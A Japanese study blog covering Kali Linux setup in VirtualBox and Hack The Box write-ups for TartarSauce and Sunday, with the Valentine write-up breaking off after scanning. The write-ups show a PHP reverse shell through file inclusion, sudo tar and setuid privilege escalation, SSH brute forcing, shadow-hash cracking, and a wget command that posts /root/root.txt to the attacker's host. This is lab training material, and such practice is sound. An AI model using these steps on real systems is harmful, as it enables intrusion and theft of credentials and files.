家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

Virtual Box上にKali Linuxを構築

概要

自分の環境の問題と思いますが、以前Hyper-V上に構築したKali Linuxが起動できなくなり、また、新規に構築しても起動できない問題を解消できなかったのでVirtual Box上に構築しました。

この記事ではVirtual Box上にKali Linuxをインストールするまでの様子を記載します。

 

 

 

 

Virtual Boxのインストール

以下のページよりVirtual Boxのインストーラをダウンロードし、指示に従ってインストールします。

www.virtualbox.org

 

Kali Linuxのダウンロードとインポート

以下のサイトよりKali Linuxのイメージファイルをダウンロードします。

「Virtual Machines」ー「64bit」ー「Virtual Box」を選択します。

※「kali-linux-2023.1-virtualbox-amd64.vbox」というファイルをダウンロードします。

www.kali.org

 

ダウンロードしたファイルを解凍します。
解凍後のフォルダにvboxファイルとvdiファイルがあります。

「仮想マシン」-「追加」より、先程のvboxファイルを指定することでKali Linuxが作成されます。

仮想マシンの追加

 

起動した後はkali/kaliでログインできます。

ログイン画面

 

その他設定事項

構築したKali Linuxは主にHack The BoxやTry Hack Meで使用しています。

使用する中で変更した内容について以下に記載します。

※以下の内容は随時更新しようと思います。

 

ネットワーク設定

Hack the BoxやTry Hack Meでは対象マシンへアクセスするためにVPNを使用します。

ネットワークの設定が「NAT」の場合、VPNの接続自体は成功しているように見えても、実際に対象となるマシンへSSHやNCをした際に以下のようなエラーが出てうまくいかない場合があります。

具体的にはSSH等した際に以下のようなエラーがVPNのコンソールに出力されます。

 

エラーの内容

virtualbox UDPv4 [ENETUNREACH]: Network is unreachable openvpn

 

VirtualBoxのマニュアルにある「NATの制限」では以下のような記載があります。

GRE などのプロトコルはサポートされていません。TCP および UDP 以外のプロトコルはサポートされていません。これは、一部の VPN 製品 (Microsoft の PPTP など) が使用できないことを意味します。単純に TCP と UDP を使用する VPN 製品は他にもあります。(機械翻訳)

 

「NAT」は上記の制限があるため、通信がうまくいかない場合は「ブリッジアダプター」へ変更することで解決する場合があります。

ネットワーク設定「NAT」→「ブリッジアダプター」

 

参考:VirtualBoxマニュアル

http://download.virtualbox.org/virtualbox/UserManual.pdf#page144

 

Seclistのインストール

SecListがインストールされていない場合は以下のコマンドでインストールします。

apt -y install seclists

 

日本語入力

apt-get install ibus-anthy

上記実行後に再起動で入力可能になります。

 

Chromeインストール

wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo apt install ./google-chrome-stable_current_amd64.deb

 

起動は以下のコマンド

google-chrome

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

qiita.com

qiita.com

 

 

【Hack The Box】tartarsauce

目次

 

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.88
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 10:39 JST
Warning: 10.10.10.88 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.88
Host is up (0.18s latency).
Not shown: 65492 closed tcp ports (conn-refused), 42 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-title: Landing Page

ブラウザでアクセスすると以下のようなページが表示されました。

※tartarsauce=タルタルソース

ブラウザでアクセスした様子

dirb等で調査するとWordPressで構築されていることがわかります。

サンプルページもいくつか見つかりました。

サンプルページ

wpscanでスキャンしてみます。オプションの内容は以下の通りです。

 

wpscanのオプション

–url:対象のURL指定
-e:列挙する要素の指定で、apはプラグイン、atはテーマ、ttはtimthumbs、cbは設定バックアップ、dbeはデータベースエクスポート、uはユーザ、mはメディアを表す
–plugins-detection:既知のプラグインを列挙

┌──(kali㉿kali)-[~]
└─$ wpscan -e u,ap,at,cb,dbe,m --plugins-detection aggressive --url http://10.10.10.88/webservices/wp/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.10.88/webservices/wp/ [10.10.10.88]

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.10.88/webservices/wp/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.10.88/webservices/wp/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.10.88/webservices/wp/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.4'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/, Match: 'WordPress 4.9.4'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 01:05:49 <=====================================================================> (103290 / 103290) 100.00% Time: 01:05:49
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 | Last Updated: 2023-04-05T10:17:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] brute-force-login-protection
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 | Latest Version: 1.5.3 (up to date)
 | Last Updated: 2017-06-29T10:39:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
 |
 | Version: 1.5.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] gwolle-gb
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2023-05-17T09:17:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 4.6.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

[+] Enumerating All Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:17:11 <=======================================================================> (25735 / 25735) 100.00% Time: 00:17:11
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] Theme(s) Identified:

[+] twentyfifteen
 | Location: http://10.10.10.88/webservices/wp/wp-content/themes/twentyfifteen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 3.4
 | Style URL: http://10.10.10.88/webservices/wp/wp-content/themes/twentyfifteen/style.css
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentyfifteen/, status: 500
 |
 | Version: 1.9 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentyfifteen/style.css, Match: 'Version: 1.9'

[+] twentyseventeen
 | Location: http://10.10.10.88/webservices/wp/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://10.10.10.88/webservices/wp/wp-content/themes/twentyseventeen/style.css
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentyseventeen/, status: 500
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentyseventeen/style.css, Match: 'Version: 1.4'

[+] twentysixteen
 | Location: http://10.10.10.88/webservices/wp/wp-content/themes/twentysixteen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/themes/twentysixteen/readme.txt
 | [!] The version is out of date, the latest version is 2.9
 | Style URL: http://10.10.10.88/webservices/wp/wp-content/themes/twentysixteen/style.css
 | Style Name: Twenty Sixteen
 | Style URI: https://wordpress.org/themes/twentysixteen/
 | Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead ...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentysixteen/, status: 500
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/twentysixteen/style.css, Match: 'Version: 1.4'

[+] voce
 | Location: http://10.10.10.88/webservices/wp/wp-content/themes/voce/
 | Latest Version: 1.1.0 (up to date)
 | Last Updated: 2017-09-01T00:00:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/themes/voce/readme.txt
 | Style URL: http://10.10.10.88/webservices/wp/wp-content/themes/voce/style.css
 | Style Name: voce
 | Style URI: http://limbenjamin.com/pages/voce-wp.html
 | Description: voce is a minimal theme, suitable for text heavy articles. The front page features a list of recent ...
 | Author: Benjamin Lim
 | Author URI: https://limbenjamin.com
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/voce/, status: 500
 |
 | Version: 1.1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.10.88/webservices/wp/wp-content/themes/voce/style.css, Match: 'Version: 1.1.0'

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:05 <============================================================================> (137 / 137) 100.00% Time: 00:00:05

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:02 <==================================================================================> (71 / 71) 100.00% Time: 00:00:02

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:04 <=======================================================================> (100 / 100) 100.00% Time: 00:00:04

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] wpadmin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun  5 22:21:52 2023
[+] Requests Done: 129414
[+] Cached Requests: 15
[+] Data Sent: 37.472 MB
[+] Data Received: 17.721 MB
[+] Memory used: 489.562 MB
[+] Elapsed time: 01:24:04

wpscanにより脆弱性のある「gwolle-gb」プラグインが検出されました。

searchsploitでPOCを検索します。

searchsploitの結果

上記のPOCは「abspath」パラメータがサニタイズされていないことによるリモートファイルインクルードの脆弱性を悪用するもので、悪意のあるコードを含む「wp-load.php」ファイルを読み込ませることで攻撃を行うものです。

Kali側でLaudanum PHPリバースシェルをコピーし、名前を「wp-load.php」に変更します。

またPOCの中のIPアドレス等を環境に合わせて変更します。

 

laudanumとは

www.kali.org

 

アクセス取得

「wp-load.php」をホストしたWebサーバをKaliで動作させ、ncで待ち受けた状態でターゲットにWebでアクセスを行います。

ncのオプション

  • -l:接続の待ち受け
  • -v:詳細出力
  • -n:DNSルックアップのスキップ
  • -p:受信ポート指定

アクセスの取得(上:NC、下:対象へのWebアクセス)

上記実行することで「wp-load.pop」が読み込まれ、初期アクセスが取得できました。

 

権限昇格

「sudo -l」を実行すると、「www-data」が「onuma」としてtarを実行できることがわかります。

GTFOBinsによると、tarには「–checkpoint」という引数があり、ファイルがアーカイブされるたびに進行状況を表示できます。

これを「–checkpoint-action」フラグと併用すると、チェックポイントに到達するたびにバイナリまたはスクリプトの形式でアクションを実行できるようになります。

以下のコマンドで「onuma」にアクセスできます。

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

onumaに切り替え

 

「onuma」でlinpeas.shを実行します。

「System timers」の中に「backuperer.timer」というものがあることが確認できます。

linpeas.shの実行結果

「backuperer」関連のファイルを探します。

「backuperer」の調査

 

補足:「locate」コマンド
「locate」は、ファイル名やディレクトリ名からファイルを探すためのコマンドです。「locateデータベース」と呼ばれるデータベースファイルを使うので高速に動作しますが、locateデータベースを更新しないと新しいファイルを探すことはできません。

 

「backuperer」は「/var/www/html」を圧縮し、アーカイブを「/var/tmp」に移動しているようです。

同じ名前のアーカイブがある場合、「check」ディレクトリが作成され同じ権限が維持されます。

SETUIDビットを設定して「/bin/sh」を実行するバイナリをrootとして作成します。

UID設定用プログラム

※gccが失敗する場合は必要なファイルをインストールします。

$ sudo apt install gcc-multilib g++-multilib

Kali上で「var/www/html」を作成し、上記のプログラムを含めて圧縮します。

アーカイブ作成

アーカイブを対象に送信し、「/var/tmp」に一時ファイル(以下だと、.ca~)が作成されたら送信したアーカイブを同じ名前で上書きします。

作成したアーカイブの転送

一時ファイルの上書き

その後、「check」が作成されたらディレクトリに移動し、送信したプログラムを実行します。

「check」の確認

「root」が取得できました。

root取得

ご参考:プログラムの実行時のエラーについて

自分の環境では、送信したプログラムの実行時に以下のエラーが表示されました。

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./tartars
./tartars
./tartars: /lib/i386-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./tartars)
onuma@TartarSauce:/var/tmp/check/var/www/html$ cd /var/tmp
cd /var/tmp
onuma@TartarSauce:/var/tmp$ 

tartarsauceはglibcが2.33のため、新しいバージョンだとプログラムが実行できません。

今回はglibc 2.33でプログラムをコンパイルし実行することでrootが取得できました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

steflan-security.com

 

dm7500.github.io

 

 

【Hack The Box】Sunday

偵察/スキャン

nmapでスキャンします。

┌─[iestudy@parrot]─[~]
└──╼ $nmap 10.10.10.76
Starting Nmap 7.93 ( https://nmap.org ) 
Nmap scan report for 10.10.10.76
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
79/tcp  open  finger
111/tcp open  rpcbind
515/tcp open  printer

TCP/79ではfingerというサービスが待ち受けていました。

fingerはユーザのログイン状況を取得できるようなサービスのようです。

過去、便利なプロトコルとして使われていたようですが、現在ではセキュリティ上の懸念もあるようです。

ja.wikipedia.org

 

fingerコマンドを実行してみると現在は誰もログインしていないようでした。

finger実行結果

 

アクセス取得

MSFconsole を起動し、Finger に関連するモジュールを検索します。「auxiliary/scanner/finger/finger_users」を選択しワードリストにSecListsの「named.txt」を設定します。

SecListsの取得

github.com

ユーザ「sunnny」取得

ユーザ「sunny」が取得できました。

次に「sunny」に対してブルートフォースを行います。

┌──(kali㉿kali)-[~/SecLists/Passwords]
└─$ hydra -l sunny -P ./probable-v2-top1575.txt -s 22022  10.10.10.76 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1575 login tries (l:1/p:1575), ~99 tries per task
[DATA] attacking ssh://10.10.10.76:22022/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 1421 to do in 00:10h, 14 active
[STATUS] 128.00 tries/min, 384 tries in 00:03h, 1193 to do in 00:10h, 14 active
[STATUS] 123.71 tries/min, 866 tries in 00:07h, 711 to do in 00:06h, 14 active
[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-02 23:16:44

パスワード「sunday」が取得できました。

※なお、自分の環境では、patatorではうまく実行できませんでした。

参考:patatorとは

kali.org

上記で得られた情報をもとにsshでアクセスしてみます。

通常のsshコマンドではアクセスできませんでした。

sshのsha1を許可することでアクセスができました。

┌──(kali㉿kali)-[~/.ssh]
└─$ sudo ssh sunny@10.10.10.76 -oKexAlgorithms=diffie-hellman-group-exchange-sha256 -p 22022
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
ED25519 key fingerprint is SHA256:t3OPHhtGi4xT7FTt3pgi5hSIsfljwBsZAUOPVy8QyXc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (ED25519) to the list of known hosts.
(sunny@10.10.10.76) Password: 
Last login: Wed Apr 13 15:35:50 2022 from 10.10.14.13
Oracle Corporation      SunOS 5.11      11.4    Aug 2018
sunny@sunday:~$ 

権限昇格

sudo -lを実行すると/root/trollが実行できるようですが、有効な情報を得られませんでした。

sunny@sunday:~$ sudo -l
ユーザー sunny は sunday 上で コマンドを実行できます
    (root) NOPASSWD: /root/troll
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)

フォルダの探索を行うと/root/backupが見つかりました。

ls -al ~/;ls -al /home/* / /home/*/.bash_histroy
sunny@sunday:~$ 
sunny@sunday:~$ ls -al ~/;ls -al /home/* / /home/*/.bash_history
total 19
drwxr-xr-x   2 sunny    staff          8  4月 13日 2022年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-------   1 sunny    staff        402  4月 13日 2022年 .bash_history
-r--r--r--   1 sunny    staff        159 12月 19日 2021年 .bashrc
-rw-r--r--   1 sunny    staff        568 12月 19日 2021年 .profile
-rw-r--r--   1 sunny    staff        156 12月 19日 2021年 local.cshrc
-rw-r--r--   1 sunny    staff         97 12月 19日 2021年 local.login
-rw-r--r--   1 sunny    staff        119 12月 19日 2021年 local.profile
-rw-------   1 sunny    staff        402  4月 13日 2022年 /home/sunny/.bash_history

/:
total 1858
drwxr-xr-x  25 root     sys           28  6月  2日  02:21 .
drwxr-xr-x  25 root     sys           28  6月  2日  02:21 ..
drwxr-xr-x   2 root     root           4 12月 19日 2021年 backup
lrwxrwxrwx   1 root     root           9 12月  8日 2021年 bin -> ./usr/bin
drwxr-xr-x   5 root     sys            9 12月  8日 2021年 boot
drwxr-xr-x   2 root     root           4 12月 19日 2021年 cdrom
drwxr-xr-x 219 root     sys          219  6月  2日  02:21 dev
drwxr-xr-x   4 root     sys            5  6月  2日  02:21 devices
drwxr-xr-x  81 root     sys          173  6月  2日  02:21 etc
drwxr-xr-x   3 root     sys            3 12月  8日 2021年 export
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 home
drwxr-xr-x  21 root     sys           21 12月  8日 2021年 kernel
drwxr-xr-x  11 root     bin          342 12月  8日 2021年 lib
drwxr-xr-x   2 root     root           3  6月  2日  02:21 media
drwxr-xr-x   2 root     sys            2  8月 17日 2018年 mnt
dr-xr-xr-x   1 root     root           1  6月  2日  02:21 net
dr-xr-xr-x   1 root     root           1  6月  2日  02:21 nfs4
drwxr-xr-x   2 root     sys            2  8月 17日 2018年 opt
drwxr-xr-x   4 root     sys            4  8月 17日 2018年 platform
dr-xr-xr-x  79 root     root      480032  6月  2日  03:54 proc
drwx------   2 root     root          10  4月 13日 2022年 root
drwxr-xr-x   3 root     root           3 12月  8日 2021年 rpool
lrwxrwxrwx   1 root     root          10 12月  8日 2021年 sbin -> ./usr/sbin
drwxr-xr-x   7 root     root           7 12月  8日 2021年 system
drwxrwxrwt   3 root     sys          276  6月  2日  03:54 tmp
drwxr-xr-x  29 root     sys           41 12月  8日 2021年 usr
drwxr-xr-x  42 root     sys           51 12月  8日 2021年 var
-r--r--r--   1 root     root      298504  8月 17日 2018年 zvboot

/home/sammy:
total 8
drwxr-xr-x   2 root     root           3 12月 19日 2021年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-r--r--   1 root     root          33  6月  2日  02:22 user.txt

/home/sunny:
total 19
drwxr-xr-x   2 sunny    staff          8  4月 13日 2022年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-------   1 sunny    staff        402  4月 13日 2022年 .bash_history
-r--r--r--   1 sunny    staff        159 12月 19日 2021年 .bashrc
-rw-r--r--   1 sunny    staff        568 12月 19日 2021年 .profile
-rw-r--r--   1 sunny    staff        156 12月 19日 2021年 local.cshrc
-rw-r--r--   1 sunny    staff         97 12月 19日 2021年 local.login
-rw-r--r--   1 sunny    staff        119 12月 19日 2021年 local.profile
sunny@sunday:~$ 

/backupに有用そうなファイルがありました。

sunny@sunday:~$ cd /backup/
sunny@sunday:/backup$ ls
agent22.backup  shadow.backup
sunny@sunday:/backup$ cat shadow.backup 
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$

sammyはfingerのプロトコルを攻撃した際に確認されたユーザです。

hashの値は以下のサイトで確認できます。

hashcat.net

hashcatでパスワードを解析します。

※解析対象とするファイルにコピペするhash値は「:」より前までになります。

┌──(kali㉿kali)-[~/htb]
└─$ sudo hashcat -m 7400 summy.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting

~中略~

$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7400 (sha256crypt $5$, SHA256 (Unix))
Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
Time.Started.....: Sat Jun  3 22:33:10 2023, (1 min, 57 secs)
Time.Estimated...: Sat Jun  3 22:35:07 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1746 H/s (13.27ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 203648/14344385 (1.42%)
Rejected.........: 0/203648 (0.00%)
Restore.Point....: 203520/14344385 (1.42%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: coolster -> cocong
Hardware.Mon.#1..: Util: 66%

得られたパスワードでアクセスしてみます。

「sudo -l」ではroot権限でwgetが使えることがわかりました。

そこでncで待ち受け、そこにwgetでPOSTする方法でフラグを取得します。

※上記手法は「sudo python -m  http.server 80」では失敗となります。

┌──(kali㉿kali)-[~/htb]
└─$ ssh sammy@10.10.10.76 -oKexAlgorithms=diffie-hellman-group-exchange-sha256 -p 22022
(sammy@10.10.10.76) Password: 
Last login: Sat Jun  3 13:41:00 2023 from 10.10.14.2
Oracle Corporation      SunOS 5.11      11.4    Aug 2018
-bash-4.4$ sudo -l
ユーザー sammy は sunday 上で コマンドを実行できます
    (ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
-bash-4.4$ sudo wget http://10.10.14.2:80 --post-file=/root/root.txt
--2023-06-03 13:46:14--  http://10.10.14.2/
10.10.14.2:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 501 Unsupported method ('POST')
2023-06-03 13:46:15 エラー 501: Unsupported method ('POST')。

-bash-4.4$ sudo wget http://10.10.14.2:80 --post-file=/root/root.txt
--2023-06-03 13:47:07--  http://10.10.14.2/
10.10.14.2:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 

 

フラグ取得

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

resources.infosecinstitute.com

 

 

 

【Hack The Box】valentine

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -p- 10.10.10.79           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 23:04 JST
Stats: 0:05:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 43.01% done; ETC: 23:18 (0:07:36 remaining)
Stats: 0:08:41 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 65.30% done; ETC: 23:18 (0:04:37 remaining)
Nmap scan report for 10.10.10.79
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

HTTPとHTTPSが開いていることがわかりました。

ブラウザでアクセスしてみると以下のような画像が表示されました。

ブラウザでアクセスした様子

dirbを実行してみます。

┌─[iestudy@parrot]─[~]
└──╼ $dirb http://10.10.10.79
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.79/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.79/ ----
+ http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287)                              
+ http://10.10.10.79/decode (CODE:200|SIZE:552)                                
==> DIRECTORY: http://10.10.10.79/dev/                                         
+ http://10.10.10.79/encode (CODE:200|SIZE:554)                                
+ http://10.10.10.79/index (CODE:200|SIZE:38)                                  
+ http://10.10.10.79/index.php (CODE:200|SIZE:38)                              
+ http://10.10.10.79/server-status (CODE:403|SIZE:292)                         
---- Entering directory: http://10.10.10.79/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
DOWNLOADED: 4612 - FOUND: 6

/devにアクセスするとリストが表示されました。

ディレクトリリスティング

notes.txtにはencodeおよびdecodeに脆弱性があるような趣旨の記載が確認されました。

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

 

追加情報を求め脆弱性のスキャンを行います。

┌─[iestudy@parrot]─[~]

└──╼ $nmap -T4 --script vuln 10.10.10.79

Nmap scan report for valentine.htb (10.10.10.79)

Host is up (0.18s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT    STATE SERVICE

22/tcp  open  ssh

80/tcp  open  http

| http-enum: 

|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'

|_  /index/: Potentially interesting folder

|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

|_http-csrf: Couldn't find any CSRF vulnerabilities.

